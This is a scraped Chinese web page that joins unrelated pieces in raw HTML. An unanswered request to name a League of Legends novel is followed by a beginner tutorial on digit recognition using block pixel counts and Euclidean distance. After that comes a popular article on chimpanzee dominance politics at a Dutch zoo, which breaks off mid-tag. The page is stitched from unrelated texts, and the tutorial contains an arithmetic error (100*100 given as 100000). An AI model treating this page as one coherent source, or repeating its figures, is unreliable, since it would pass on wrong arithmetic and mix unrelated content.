给这个小说,取一个名字。 要英雄联盟八个字的名字 中间要有逗号。 比如说。 xxxx,xxxx

&p&正好手头有个demo,这里尽量用最简单的思路介绍一下。&/p&&p&说明,这个是给零基础的同学看的,不需要任何计算机基础。&/p&&p&同样,这个处理思路忽略了非常多的细节,只是为了让大家更好地理解原理而已。&/p&&p&1。首先看下如何提取特征,看这么多数字,眼睛都花了。&/p&&img src=&/v2-a019bb43ffecb7bd93aa3304_b.png& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-a019bb43ffecb7bd93aa3304_r.png&&&p&2。简单说就是把数字划分成很多很多的小块,比如下图这样:&/p&&p&每个数字被划分成了4*5=20个小块。&/p&&p&分好了小块以后,其实我们要知道每个小块是由很多个像素构成的。&/p&&p&或者这样理解,每个小块其实可以划分为更多的小块,即每个小块是由很多个更小的块构成的。&/p&&p&比如每个小块可能是100*100个更小的小块构成的。&/p&&p&为了叙述上的方便,把小块记为B(Bigger),更小的块记为S(Smaller)。&/p&&p&因此,比如数字8,是由5行4列共计:5*4=20个小块B构成。&/p&&p&每个小块B内其实是由100*100=100000个像素(更小块S)构成的。&/p&&img src=&/v2-76dff3a0ef11d0643bfee92_b.png& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-76dff3a0ef11d0643bfee92_r.png&&&p&3。数一下每个小块B内,有多少个黑色的像素。&/p&&p&或者这样理解,每个小块B内有多少个更小块S是黑色的。&/p&&p&比如第一行:&/p&&ul&&li&第1个小块B中,共有0个更小块S是黑色的,记为0.&/li&&li&第2个小块B中,共有28个更小块S是黑色的,记为28.&/li&&li&第3个小块B中,共有10个更小块S是黑色的,记为10.&/li&&li&第4个小块B中,共有0个更小块S是黑色的,记为0.&/li&&/ul&&p&以此类推,可以计算出每一行的每一个小块B的数字是多少,写好就好了。&/p&&p&这就是数字的特征,如果仔细观察,每个数字的特征是不一样的。&/p&&p&因为他们的每个小块B内的数字是不一致的。&/p&&img src=&/v2-f3a9fb1ab73cb114b92af1_b.png& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-f3a9fb1ab73cb114b92af1_r.png&&&p&4。为了方便,我们把得到的特征,排成一排(数组)就好了。&/p&&p&&br&&/p&&img src=&/v2-32e793e6e31f1dac0c91db_b.png& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-32e793e6e31f1dac0c91db_r.png&&&p&&br&&/p&&p&5。所以,我们可以看看数字8的特征,其实就是一堆数字(数组)构成的。&/p&&p&&br&&/p&&img src=&/v2-1f80b076d6b6a3ca1d378_b.png& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-1f80b076d6b6a3ca1d378_r.png&&&p&6。照着葫芦画瓢,每个数字的特征其实都是一堆数字构成的。&/p&&p&这个数字类似于我们的身份证号码,一般来说,是独一无二的。&/p&&p&&br&&/p&&img src=&/v2-dbca972cc5dde77a8e194e_b.png& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-dbca972cc5dde77a8e194e_r.png&&&p&7。那识别是怎么回事呢?&/p&&p&就是比较要识别的数字特征和步骤6中的哪个数字的特征最接近就好了。&/p&&p&这里为了方便,假设要识别数字“8”,然后看看怎么从一堆(为了方便只有两个)数字里面选出来他到底应该是几?&/p&&p&&br&&/p&&img src=&/v2-53e19dd341dd9c825d255c3db8650c4c_b.png& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-53e19dd341dd9c825d255c3db8650c4c_r.png&&&p&&br&&/p&&p&8。当然,为了方便,特征简化了,我们假设每个数字只有4个特征值了。&/p&&p&&br&&/p&&img src=&/v2-104c65fd80251ab54cebd63dca48bb5e_b.png& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-104c65fd80251ab54cebd63dca48bb5e_r.png&&&p&9。这里要用到一个欧氏距离的概念。&/p&&p&简单点说,就是有一个罪犯,经过警察叔叔的缜密侦查,发现他的身高&b&约&/b&是175cm(通过脚印就可以判断出身高,大家自己百度一下)。&/p&&p&警察过来抓人了,两个已知嫌疑人,一个A身高176cm,另外一个B身高168厘米。&/p&&p&那我计算一下,取绝对值就好了:&/p&&ul&&li&A与嫌疑人的差值:176-175=1cm&/li&&li&B与嫌疑人的差值:175-168=7cm&/li&&/ul&&p&那当然,罪犯就是身高176cm的A了。&/p&&p&当然,由于当前不仅仅有身高,还有体重,那就要综合计算身高和体重了。&/p&&p&为了更好地计算,就用到公式:&/p&&p&看起来很复杂,简单说就是把所有的差值取平方和后开根号。&/p&&p&这就是一种计算方法,不理解原理其实也没有关系,总之就是计算一下,知道怎么计算就行了。&/p&&img src=&/v2-7c2b272c8fbb_b.png& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-7c2b272c8fbb_r.png&&&p&10。看看罪犯和嫌疑人的相似程度。&/p&&p&好了,计算一下要识别的这个图像(图中待识别右侧的8,这里我们假装不认识他)和数据库里面保存的数字8的欧式距离吧!&/p&&img src=&/v2-d2d2b0eaec2f457ce3af9a_b.png& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-d2d2b0eaec2f457ce3af9a_r.png&&&p&恩,计算就是把每个对应的特征值相减,取平方,计算和,开根号。&/p&&p&得到结果,当前结果是根号3.&/p&&p&11。再次计算罪犯和另外一个嫌疑人的相似程度。&/p&&p&好了,计算要识别的图像和数据库里面的数字7的特征值进行比较。&/p&&p&&br&&/p&&img src=&/v2-cbdbac9a512e181a9c29_b.png& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-cbdbac9a512e181a9c29_r.png&&&p&恩,绿色部分是我们的计算结果,根号7322.&/p&&p&12。识别&/p&&p&罪犯和嫌疑人的计算差异值,一个是根号3,另外一个是根号7322.&/p&&p&距离小的是识别结果。&/p&&p&这里,根号3是识别结果,所以,要识别的图像是数字8.&/p&&img src=&/v2-a958bb2d06c4afe3c2e6_b.png& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-a958bb2d06c4afe3c2e6_r.png&&&p&这就是识别过程了。&/p&&p&可以用图表示一下:&/p&&img src=&/v2-b0c682c605dcc7c0c5828_b.png& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-b0c682c605dcc7c0c5828_r.png&&&p&在提取特征前,图像可能是彩色的,就先把他处理为二值的,这样好方便计算其中黑色小块的个数。&/p&&p&写得比较匆忙,欢迎大家对细节提出改进意见。谢谢。&/p&&p&版权所有,转载请私信联系。&/p&
正好手头有个demo,这里尽量用最简单的思路介绍一下。说明,这个是给零基础的同学看的,不需要任何计算机基础。同样,这个处理思路忽略了非常多的细节,只是为了让大家更好地理解原理而已。1。首先看下如何提取特征,看这么多数字,眼睛都花了。2。简单说就…
&img src=&/50/v2-133e0a6ca7cf2d30e9d5f_b.jpg& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/50/v2-133e0a6ca7cf2d30e9d5f_r.jpg&&&p&《猩球崛起3:终极之战》终于在国内上映了,作为一个大系列三部曲的收山之作,很多小伙伴们纷纷表示看得很兴奋,然而眠眠听到其中一个的留言时,就忽然感觉不对劲……&/p&&p&&br&&/p&&p&“主角那个&b&大猩猩&/b&,真的很感人啊……”&/p&&p&&br&&/p&&p&嗯,你这句话更感人……&/p&&p&&br&&/p&&p&&b&主角凯撒,那是明摆着的一只黑猩猩,怎么就给你整成了大猩猩?&/b&&/p&&p&&br&&/p&&p&等等……再一看我国知名电影论坛《时光网》,一篇影评竟然也犯了同样的错误:影片追溯了&b&“大猩猩”凯撒&/b&从一只宠物到……&/p&&img src=&/v2-2cacc66bd8bafba72a959f1_b.jpg& data-rawwidth=&1307& data-rawheight=&183& class=&origin_image zh-lightbox-thumb& width=&1307& data-original=&/v2-2cacc66bd8bafba72a959f1_r.jpg&&&p&&br&&/p&&p&好吧,许多人能分得清阿拉斯加和哈士奇,能分得清英国蓝猫和俄罗斯蓝猫,&b&可作为整个地球上和人类最接近的两种动物,很多人却竟然分不清,&/b&看来动物科普工作的确任重而道远呐……&/p&&p&&br&&/p&&p&要想分清各种猩猩,眠眠有一个一目了然的办法。&br&&/p&&p&黑色毛发,黑色脸孔的,是&b&大猩猩(Gorilla)&/b&,又分为山地大猩猩、西部低地大猩猩和东部低地大猩猩。大猩猩体型是最大只的,不过考虑到有些壮年黑猩猩看起来也很大,所以体型的判定可能就不是那么有效了。&/p&&img src=&/v2-8fd6afd2c40_b.jpg& data-rawwidth=&940& data-rawheight=&545& class=&origin_image zh-lightbox-thumb& width=&940& data-original=&/v2-8fd6afd2c40_r.jpg&&&p&&br&&/p&&p&毛发红色的,黑色脸孔的,是&b&猩猩(Pongo)&/b&。也被俗称为红猩猩,这也是国内最常见的猩猩,基本上大一点的动物园都有,又分为婆罗洲猩猩和苏门答腊猩猩。它们是离人类相对较远的一种猩猩。&/p&&img src=&/v2-bbe2c00ad8f341eb747422_b.jpg& data-rawwidth=&1280& data-rawheight=&906& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-bbe2c00ad8f341eb747422_r.jpg&&&p&&br&&/p&&p&黑色毛发,浅色脸孔的,是&b&黑猩猩(Chimpanzee)&/b&,也就是电影里凯撒这一种。但是成年之后它们的脸孔颜色也会变深。&/p&&img src=&/v2-64698aeafe76c66bdb0eb18_b.jpg& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-64698aeafe76c66bdb0eb18_r.jpg&&&p&&br&&/p&&p&最后一种是&b&倭黑猩猩(Bonobo)&/b&,和黑猩猩非常接近,主要的区别是它们的的四肢更细长,另外一大特点是飘逸的中分发型~ 不过除了动物专家,一般人很难仅仅通过照片,就区分出黑猩猩和倭黑猩猩。&/p&&img src=&/v2-34b7dec3e2b7c82bf38a72ea122e8cb9_b.jpg& data-rawwidth=&1000& data-rawheight=&667& class=&origin_image zh-lightbox-thumb& width=&1000& data-original=&/v2-34b7dec3e2b7c82bf38a72ea122e8cb9_r.jpg&&&p&&br&&/p&&p&嗯,大体的区分就是这样,留一个习题,下图这是哪一种猩猩?&/p&&img src=&/v2-1f93e4f98bfe69313f03ce_b.jpg& data-rawwidth=&800& data-rawheight=&533& class=&origin_image zh-lightbox-thumb& width=&800& data-original=&/v2-1f93e4f98bfe69313f03ce_r.jpg&&&p&&br&&/p&&p&好了,其实今天眠眠并不是来普及猩猩的种类的,而是想说具体聊聊关于黑猩猩这种神奇的物种,虽然我们都知道它们智商很高,&b&但实际上它们比我们想象中,要复杂、机智、狡诈得多……能让我们人类细思极恐,甚至反思自身的地方,实在是太多太多了。&/b&&/p&&p&&br&&/p&&p&怎么说呢?&/p&&p&&br&&/p&&p&我只能说,如果把真实黑猩猩群落里发生的真事儿拿出来,可能比《猩球崛起3》里那些“人格化智慧猩猩”的剧情,要牛逼太多了。&b&论权术,论宫斗,电影里那些“人格化智慧黑猩猩”,根本不够看的。&/b&&/p&&p&&br&&/p&&p&在你看来,它们只是一群混乱搞笑、不知所谓的类人动物,可事实上,&b&它们中的每一只,都是一位披着毛的马基雅维利。&/b&&/p&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&p&&b&01&/b&&/p&&p&&br&&/p&&p&我们都知道,黑猩猩是一种群居生物,&b&并且有着很明确的等级秩序,&/b&一般而言会有一只雄性黑猩猩担当领导者。领导者的地位,体现在其他黑猩猩对他的服从和恭维,以及掌握着绝大多数雌性黑猩猩的性交配权等等。&/p&&img src=&/v2-01b84f11adf_b.jpg& data-rawwidth=&1212& data-rawheight=&675& class=&origin_image zh-lightbox-thumb& width=&1212& data-original=&/v2-01b84f11adf_r.jpg&&&p&&br&&/p&&p&那么问题来了,&b&这只黑猩猩是凭什么能当上领导者的呢?&/b&&/p&&p&&br&&/p&&p&很多年来,人们都认为,黑猩猩群落和猴群类似,都是最身强力壮,最能打的那只成为黑猩猩中的王者。就好比塞伦盖蒂国家公园的那些狮子一样。&/p&&img src=&/v2-b3306588afb0cb3de0296_b.jpg& data-rawwidth=&570& data-rawheight=&753& class=&origin_image zh-lightbox-thumb& width=&570& data-original=&/v2-b3306588afb0cb3de0296_r.jpg&&&p&&br&&/p&&p&&b&然而,事实真的是这样吗?&/b&&/p&&p&&br&&/p&&p&眠眠会讲一个真实发生在阿纳姆伯格斯动物园黑猩猩群的故事,&b&当我第一次听说这个故事时,有一种被震撼到的感觉。&/b&&/p&&p&&br&&/p&&p&除了完整地讲述这段故事,眠眠还会插入普及一些关于黑猩猩的知识,当然,&b&这些冷知识基本上是任何动物百科上都没有的。&/b&&/p&&p&&br&&/p&&p&首先,这群黑猩猩其实每一只都被起了名字,它们之间发生了大量的故事,但是我要说的这一出,主要涉及到三只雄性黑猩猩,&b&为了方便起见,我就给它们分别命名为董卓,吕布和曹操好了。&/b&(因为外文名字辨识度就差多了,故事讲起来不带感)&/p&&p&&br&&/p&&p&在故事发生时,董卓是群落里的猩猩王,它有着强壮的身躯,并且非常狡诈。大部分的时间里,&b&它都会故意制造出一种威严,不可侵犯的样子&/b&,一种……王者的荣耀感。 &/p&&img src=&/v2-bc464ebb96f35d7437e1da_b.jpg& data-rawwidth=&1280& data-rawheight=&776& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-bc464ebb96f35d7437e1da_r.jpg&&&p&&i&(本文的配图并非对应具体故事中的对象,只是示意图)&/i&&/p&&p&&br&&/p&&p&一开始观察者们只是觉得它块头更大,也就有着理所应当的这种威势,但是经过长期的观察后,动物学家们发现了一些关于董卓的秘密。&/p&&p&&br&&/p&&p&原来,董卓每次在经过其他黑猩猩时,都会特意放慢步伐,并且故意踩出沉重的脚步声。&b&而当它自己一个人待着的时候,脚步就轻快多了……&/b&&/p&&p&&br&&/p&&p&其实眠眠小学的时候,有一个又高又壮的同学也喜欢这么干,每次都要在我们面前故意踩得震天响,以显示他的力量感,以及吨位……&/p&&img src=&/v2-d593bf39fc1e94efef72da7f_b.jpg& data-rawwidth=&1200& data-rawheight=&670& class=&origin_image zh-lightbox-thumb& width=&1200& data-original=&/v2-d593bf39fc1e94efef72da7f_r.jpg&&&p&&br&&/p&&p&董卓也是如此,而且不仅如此,&b&它还会让自己的毛发保持一种膨胀的状态&/b&,这样就会让它的体型显得大了一圈。因此哪怕你第一次见到这群黑猩猩,也能一眼认出哪个是它们的王者。&/p&&p&&br&&/p&&p&而吕布,是一只和董卓差不多年纪的雄性黑猩猩,&b&它当时给人的感觉,是非常老实的&/b&,对董卓也是一副俯首帖耳,低姿态的样子。&/p&&p&&br&&/p&&p&&b&黑猩猩表达自己低姿态的方式之一,就是撅起嘴,发出一种快速急切的咕噜声&/b&,这其实是它们的问候,一般而言,下位者才会对上位者进行问候,反过来的情况不是没有,但非常罕见。&/p&&img src=&/v2-d8cba88ac82_b.jpg& data-rawwidth=&1280& data-rawheight=&913& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-d8cba88ac82_r.jpg&&&p&&br&&/p&&p&至于曹操,是一只还在发育中的黑猩猩,在整个群落里根本排不上号,连雌猩猩都可以欺负他。&/p&&p&&br&&/p&&p&除了这三只雄性黑猩猩,这个群落还有十几只雌性黑猩猩,和数只年幼的黑猩猩。&b&那些雌性黑猩猩,在这个故事中也扮演着非同一般的角色&/b&,继续看你们就知道了。&/p&&img src=&/v2-c7dcce762160ccd1767923_b.jpg& data-rawwidth=&500& data-rawheight=&300& class=&origin_image zh-lightbox-thumb& width=&500& data-original=&/v2-c7dcce762160ccd1767923_r.jpg&&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&p&&b&02&/b&&/p&&p&&br&&/p&&p&原本在董卓的统治下,这个集体显得相安无事。&/p&&p&&br&&/p&&p&这个黑猩猩团体的和谐,表现在董卓经常会去和那些幼年的小猩猩们玩闹。&b&只有在相对和平安定的群落中,成年黑猩猩首领,才会去关爱那些年幼的孩子。&/b&&/p&&p&&br&&/p&&p&对此眠眠是这样理解的:一个等级地位稳定的群体中,首领雄黑猩猩才能确认自己的绝对交配权,&b&这意味着它能去相信那些幼年的孩子,很大概率上就是它自己的亲骨肉。&/b&因此它愿意倾注自己的爱,给后代们。&/p&&img src=&/v2-aba4db10_b.jpg& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-aba4db10_r.jpg&&&p&&br&&/p&&p&反过来,如果群体很混乱的话,&b&很多其他雄性就会浑水摸鱼,各种喜当爹原谅色什么的也就发生了……&/b&毕竟,黑猩猩是不懂得做亲子鉴定什么的……&/p&&p&&br&&/p&&p&其实大多数哺乳动物的配偶模式都是这样,雄性只负责风流,到处播种,养育后代的任务完全由雌性承担。&b&就是因为雄性没法确定后代是不是自己亲生的,为了留下自己的基因,它们的进化策略就是不断寻求交配机会,而不在意之后的抚养工作。&/b&&/p&&p&&br&&/p&&p&继续说回来,事实上,即便在董卓的统治下,&b&也并不能保证性交配权的绝对控制。&/b&&/p&&img src=&/v2-4de2d556d21ee3b2d9e331_b.jpg& data-rawwidth=&1280& data-rawheight=&966& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-4de2d556d21ee3b2d9e331_r.jpg&&&p&&br&&/p&&p&动物学家就在某次,观察到一个非常吃惊的现象。&/p&&p&&br&&/p&&p&那天是一个炎热夏日的午后,董卓在进食后开始睡午觉,&b&也就放松了对群体的监控&/b&(黑猩猩是一种会不停关注群体中每个成员的动物)。&/p&&p&&br&&/p&&p&&b&这时候吕布偷偷接近了那群雌性黑猩猩中的一只&/b&,嗯……为了方便称呼,就叫它貂蝉吧……虽然它的样子对应这样的名字,一般人可能接受不能(但其实在动物学家眼里,这是一只非常健康具有美感的雌性)&/p&&img src=&/v2-deb1fe2ce9cc7b98812a77_b.jpg& data-rawwidth=&634& data-rawheight=&453& class=&origin_image zh-lightbox-thumb& width=&634& data-original=&/v2-deb1fe2ce9cc7b98812a77_r.jpg&&&p&&br&&/p&&p&貂蝉正处于自己的发情期。黑猩猩雌性是否发情,是任何人都可以一目了然的。这是因为发情的它们,&b&性器官会充血肿胀,形成粉色的一大坨,悬垂于屁股下方。&/b&图片眠眠就不放了,我只记得当初我在参观时,一群小孩子指着它们粉色的部位哈哈大笑,还问大人那是什么……场面异常尴尬……&/p&&p&&br&&/p&&p&这时候,吕布接近了貂蝉,它在距离对方大约一步之后,发出了一个奇怪的声音,并且很快得到了响应:&b&貂蝉假装心不在焉地朝它望了两眼,并做出一个挤眉弄眼的表情。&/b& &/p&&img src=&/v2-6eafa0448bbcd207a08090_b.jpg& data-rawwidth=&1280& data-rawheight=&1017& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-6eafa0448bbcd207a08090_r.jpg&&&p&&br&&/p&&p&直到20分钟之后,观察者才明白,&b&这个环节叫做“约定”,嗯,叫“约炮”可能更贴切……&/b&&/p&&p&&br&&/p&&p&当时发生的一幕是非常令人惊讶的,貂蝉和吕布选择了在园区某个偏僻的地方私会,&b&然后俩货就开始急不可耐地开始黑猩猩那一套前戏:&/b&雌性弯下腰,将肿胀的大屁股对着雄性,雄性开始嗅闻……&/p&&img src=&/v2-f2de622ffaf64_b.jpg& data-rawwidth=&1280& data-rawheight=&799& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-f2de622ffaf64_r.jpg&&&p&&i&(眠眠只能找一张尺度小点的代替了……)&/i&&/p&&p&&br&&/p&&p&再然后,嗯你们都懂的,&b&它俩迅速地啪啪啪,然后假装什么都没发生一样,各回各家……&/b&&/p&&p&&br&&/p&&p&当看到它俩故作淡定,又暗藏紧张、东张西望回到原地的那一路时,在场的所有人类观察员都心领神会地笑了……&/p&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&p&&b&03&/b&&/p&&p&&br&&/p&&p&现在你们知道,为什么眠眠会选择这样的名字了吧。&/p&&p&&br&&/p&&p&接下来发生的事情,更加令人吃惊。&b&说实话,如果不是出自严谨的科学论文中,情节真的比某些“动物作家”编的小说剧本还要夸张……&/b&&/p&&p&&br&&/p&&p&随着吕布的色胆越来越大,某一次他又打算私会貂蝉时,恰好被董卓撞见了……&/p&&p&&br&&/p&&p&这时候貂蝉立马上去给董卓各种示好,并且替他做皮毛护理。插一句,&b&皮毛护理是黑猩猩最喜闻乐见的,互相表达友好的举动&/b&,具体就是替对方捉虫子外加抚摸。&/p&&img src=&/v2-575b87f15e44c644a363c_b.jpg& data-rawwidth=&500& data-rawheight=&375& class=&origin_image zh-lightbox-thumb& width=&500& data-original=&/v2-575b87f15e44c644a363c_r.jpg&&&p&&br&&/p&&p&&b&而吕布则做出了一个出乎意料的举动,它立马掉过头去,背对着董卓。&/b&直到董卓数分钟后好奇地来到它身边,它才转过身来,一脸谄媚地问候……&/p&&p&&br&&/p&&p&直到后来,动物学家才明白它为何会那样反应:当时,它的丁丁是勃起状态的,&b&它为了掩饰自己的调情行为,赶紧背转身去,&/b&直到那玩意疲软下去后,才假装自己只是路过打酱油……&/p&&img src=&/v2-d66a05c118f_b.jpg& data-rawwidth=&590& data-rawheight=&507& class=&origin_image zh-lightbox-thumb& width=&590& data-original=&/v2-d66a05c118f_r.jpg&&&p&&br&&/p&&p&嗯,即便这些行为,已经令大多数人瞠目结舌,&b&但下面发生的故事,才是真正的精彩。&/b&&/p&&p&&br&&/p&&p&在那一年的夏天到秋天之间,动物学家通过观察记录发现了一个现象:&b&吕布对董卓进行主动问候的次数,越来越少了。&/b&&/p&&p&&br&&/p&&p&终于在某一天,它停止了对董卓的问候。&/p&&p&&br&&/p&&p&而这个情况也立刻被董卓察觉到了,&b&它明白这是一种挑衅,于是选择了和吕布刚正面。&/b&&/p&&img src=&/v2-2b8d4e48c311a4adcfba4c4_b.jpg& data-rawwidth=&521& data-rawheight=&350& class=&origin_image zh-lightbox-thumb& width=&521& data-original=&/v2-2b8d4e48c311a4adcfba4c4_r.jpg&&&p&&br&&/p&&p&然而它俩并没有真的直接动手,&b&事实上,虽然雄性黑猩猩的攻击性很强,但它们之间直接开打的情况并不多&/b&,这一次也不例外,主要体现在对峙上。正常情况下,猩猩王的目光是不能直视的,但吕布选择了迎回去。&/p&&p&&br&&/p&&p&更重要的是,它还把自己的毛发也变得膨胀起来,这样它的体型看起来瞬间变得庞大了,甚至比董卓更大……&/p&&p&&br&&/p&&p&两只黑猩猩对峙了一会之后,接下来并没有出现人们期待中的打斗,&b&而是一群雌黑猩猩冲了上来,准备去追打撕咬吕布……
&/b&&/p&&img src=&/v2-79fbe910e8c0d59411ad_b.jpg& data-rawwidth=&468& data-rawheight=&286& class=&origin_image zh-lightbox-thumb& width=&468& data-original=&/v2-79fbe910e8c0d59411ad_r.jpg&&&p&&br&&/p&&p&吕布二话不说拔腿就逃,它一路逃到了园区中的一棵高树上,以躲避众多雌猩猩的攻击。&b&董卓则带着它们围在树底,并且不断地挑衅。&/b&就这样,半个多小时过去了……&/p&&p&&br&&/p&&p&就在观察员饶有兴趣地等待着这一幕该如何收场时,&b&吕布做出了一个出乎所有人意料的举动:&/b&它在树顶端摘下了大量的嫩枝叶,并朝着地上扔去。很快,那些雌猩猩们就跑去享用这些美食了。吃大餐的它们,也停止了对吕布的敌视行为。&/p&&img src=&/v2-f739a759bd6fc8dd676daf44b5a2ec2c_b.jpg& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-f739a759bd6fc8dd676daf44b5a2ec2c_r.jpg&&&p&&br&&/p&&p&然后,&b&吕布就这样堂而皇之地下地上来了&/b&,并对董卓进行了示好,它俩又开始互相进行皮毛护理了……于是一场恶斗竟然就这么化干戈为玉帛了……&/p&&p&&br&&/p&&p&没错,事实上即便雄黑猩猩在打斗之后,也会在一段时间内就开始互相示好,并且进行皮毛护理行为。动物学家不止一次观察到,&b&雄性会对自己在对手身上造成的伤口,进行清洁和护理工作。&/b&&/p&&img src=&/v2-e05c31bab79ffe91dcb92_b.jpg& data-rawwidth=&1234& data-rawheight=&801& class=&origin_image zh-lightbox-thumb& width=&1234& data-original=&/v2-e05c31bab79ffe91dcb92_r.jpg&&&p&&br&&/p&&p&这种握手言和行为,有一半是雄性自发的,&b&从生存策略而言,这是为了避免群体爆发不可逆转的冲突,也是为了种群的和谐和稳定。&/b&&/p&&p&&br&&/p&&p&&b&而另一半的谈合,大都是雌黑猩猩的干预,&/b&它们会在冲突发生时或者发生后参与其中,劝解双方停止斗殴。如果这对哥俩不识好歹,劝解无效,&b&它们也会大打出手,逼迫一方必须停止争斗。&/b&&/p&&img src=&/v2-0292eef68ac6ab9ad17f7c_b.jpg& data-rawwidth=&595& data-rawheight=&335& class=&origin_image zh-lightbox-thumb& width=&595& data-original=&/v2-0292eef68ac6ab9ad17f7c_r.jpg&&&p&&br&&/p&&p&嗯,在黑猩猩的社会里,雌性是当之无愧的“半边天”。&/p&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&p&&b&04&/b&&/p&&p&&br&&/p&&p&故事还在继续。&/p&&p&&br&&/p&&p&董卓和吕布的争斗,依然在上演着。虽然吕布的战斗力很强,超越了董卓。&b&但是它仅仅凭借个人战力,是绝对不可能爬到权力的顶峰的。&/b&&/p&&p&&br&&/p&&p&因为战斗力,从来都不是决定黑猩猩中统治和被统治的最重要因素。&/p&&p&&br&&/p&&p&因此,在此后的很长一段时期,吕布一直在做着以下两种工作:&/p&&p&&br&&/p&&p&&b&第一种,是不断挑衅和恐吓董卓,以挑战它的地位。&/b&雄性黑猩猩最直接的恐吓行为,就是发动一次冲锋,表现为一边低吼着一边手脚并用地冲向挑衅对象,直到吓退对方。&/p&&img src=&/v2-5bd424c6d66f73fade081a_b.jpg& data-rawwidth=&1280& data-rawheight=&960& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-5bd424c6d66f73fade081a_r.jpg&&&p&&br&&/p&&p&大多数雌性黑猩猩面对这样的威吓时,都会立刻露出自己的屁股,以表示顺从。搞笑的是,部分雄性黑猩猩也会做出同样的动作……面对对手的示弱,&b&发起冲锋的那只黑猩猩一般会象征性地骑跨对方几下,意味着自己的威胁性武力炫耀成功了。&/b&&/p&&p&&br&&/p&&p&对董卓发起威胁式的挑衅,并不是没有风险的。大概每100次威胁冲突中,最终会有一次酿成真正的打斗。&b&因此,发生搏斗的可能性总是存在的,这也才使得寻求权力的过程充满了挑战和危险。&/b&&/p&&p&&br&&/p&&p&不过为了实现自己的理想,这个艰难它吕布还是忍得下来……&/p&&p&&br&&/p&&p&吕布的第二种工作,就显得意味深长地多了:&b&它会通过各种手段,分化那些雌性黑猩猩,并降低它们的忠诚度。&/b&&/p&&img src=&/v2-93e7f4c67bceb7b05a3e3b_b.jpg& data-rawwidth=&700& data-rawheight=&467& class=&origin_image zh-lightbox-thumb& width=&700& data-original=&/v2-93e7f4c67bceb7b05a3e3b_r.jpg&&&p&&i&(当雄黑猩猩发生冲突时,雌黑猩猩立刻尖叫着劝架)&/i& &/p&&p&&br&&/p&&p&比如当董卓和貂蝉在亲热时,吕布会立刻冲上去攻击貂蝉,多数情况下,董卓都会暴走,并带着雌猩猩们吊打吕布……&b&但是,只要偶尔发生几次董卓无动于衷、漠不关心的情况,对于吕布而言,就成功了。&/b&&/p&&p&&br&&/p&&p&因此,这也是它一次次冒着被暴打的危险,不断攻击那些和董卓亲密接触的雌性的原因,它们逐渐开始减少和董卓亲密的次数,&b&并变得开始疏远它。&/b&&/p&&p&&br&&/p&&p&而另一方面,吕布会对那些疏远董卓的雌性黑猩猩特别好,私下对它们各自进行花样百出的问候和爱抚……&/p&&img src=&/v2-adb5a7b24b50db6727046d_b.jpg& data-rawwidth=&610& data-rawheight=&470& class=&origin_image zh-lightbox-thumb& width=&610& data-original=&/v2-adb5a7b24b50db6727046d_r.jpg&&&p&&br&&/p&&p&于是,慢慢就出现了这样的状态:当两只雄性黑猩猩发生对峙时,&b&很多雌性不再替董卓出头了……再到后来,它们甚至站队到了吕布那边。&/b&于是吕布就变本加厉地继续这一套手段,并更加频繁地威胁董卓的统治地位。&/p&&p&&br&&/p&&p&显然,这一切董卓都意识到了。&/p&&p&&br&&/p&&p&&b&它并不是没有采取反应,&/b&比如采集嫩叶进行贿赂,比如不断地亲近过去的那些爱妃们。然而总体的大趋势,就是它们最终还是选择纷纷离它而去。&/p&&p&&br&&/p&&p&动物学家对此的看法是,雌性黑猩猩一旦感觉到群体中的首领,不能很好地保护自己时,就会变得慢慢疏远它。&/p&&p&&br&&/p&&p&嗯,用情感号的说法,就是&b&“我变得无助,变得……没有了安全感。”&/b&&/p&&img src=&/v2-8a0cd64d9bd6ebf162ec47_b.jpg& data-rawwidth=&793& data-rawheight=&536& class=&origin_image zh-lightbox-thumb& width=&793& 